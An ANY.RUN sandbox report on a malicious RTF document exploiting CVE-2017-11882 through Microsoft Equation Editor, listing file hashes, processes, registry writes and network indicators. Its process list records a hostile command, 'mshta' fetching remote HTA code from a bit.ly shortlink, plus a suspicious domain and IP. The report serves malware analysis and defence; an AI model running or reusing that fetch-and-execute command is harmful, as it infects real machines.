File name:

35-15449.doc

Full analysis: https://app.any.run/tasks/f6429b12-401b-4deb-b81e-8edba6471c8e
Verdict: Malicious activity
Analysis date: December 02, 2019, 21:55:17
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
ole-embedded
exploit
cve-2017-11882
Indicators:
MIME: text/rtf
File info: Rich Text Format data, unknown version
MD5:

DF0A6255B16F04DD4D7CC6CA99CE23AE

SHA1:

61BC9288C3E8286CBD8EF0092948A34D07BA0642

SHA256:

93CBBD74E04E4AB3A5CB545FEAA8922C128E0B3F4E054CB3453522C93B0954A9

SSDEEP:

1536:eManjjjjvv7/gYvrLrLrLrLrLrLrLrp5QuxyhFZiYC8tC1U1Y1Z1d1d1d1d1d1dB:ehjjjjvvEmFsDiYC80

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Equation Editor starts application (CVE-2017-11882)

      • EQNEDT32.EXE (PID: 1044)

  • SUSPICIOUS

    • Executed via COM

      • EQNEDT32.EXE (PID: 1044)

    • Creates files in the user directory

      • mshta.exe (PID: 3676)

    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • EQNEDT32.EXE (PID: 1044)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 3960)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3960)

    • Reads internet explorer settings

      • mshta.exe (PID: 3676)

    • Application was crashed

      • EQNEDT32.EXE (PID: 1044)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rtf | Rich Text Format (100)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
37
Monitored processes
3
Malicious processes
1
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winword.exe no specs eqnedt32.exe mshta.exe

Process information

PID
CMD
Path
Indicators
Parent process
1044"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
Modules
Images
c:\program files\common files\microsoft shared\equation\eqnedt32.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
3676mshta http://bit.ly/35Qk8Lk &AAAAAAAAAAAAAAA CC:\Windows\system32\mshta.exe
EQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\mshta.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\mshtml.dll
c:\windows\system32\psapi.dll
3960"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\35-15449.doc.rtf"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
Total events
2 058
Read events
970
Write events
963
Delete events
125

Modification events

(PID) Process:(3960) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:`>h
Value:
603E6800780F0000010000000000000000000000
(PID) Process:(3960) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(3960) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1041
Value:
Off
(PID) Process:(3960) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1046
Value:
Off
(PID) Process:(3960) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1036
Value:
Off
(PID) Process:(3960) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1031
Value:
Off
(PID) Process:(3960) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1040
Value:
Off
(PID) Process:(3960) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1049
Value:
Off
(PID) Process:(3960) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:3082
Value:
Off
(PID) Process:(3960) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:WORDFiles
Value:
1333919806
Executable files
0
Suspicious files
0
Text files
1
Unknown types
2

Dropped files

PID
Process
Filename
Type
3960WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRE260.tmp.cvr —
MD5:—
SHA256:—
3960WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$-15449.doc.rtfpgc
MD5:—
SHA256:—
3960WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:—
SHA256:—
3676mshta.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@bit[1].txttext
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
2
DNS requests
2
Threats
1

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3676
mshta.exe
67.199.248.11:80
bit.ly
Bitly Inc
US
shared
—
—
119.27.170.254:443
lichengcheng.net
Shenzhen Tencent Computer Systems Company Limited
CN
suspicious

DNS requests

Domain
IP
Reputation
bit.ly
  • 67.199.248.11
  • 67.199.248.10
shared
lichengcheng.net
  • 119.27.170.254
suspicious

Threats

PID
Process
Class
Message
3676
mshta.exe
Misc activity
SUSPICIOUS [PTsecurity] Cmd.Powershell.Download HTTP UserAgent (Win7)
No debug info
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Reports
35-15449.doc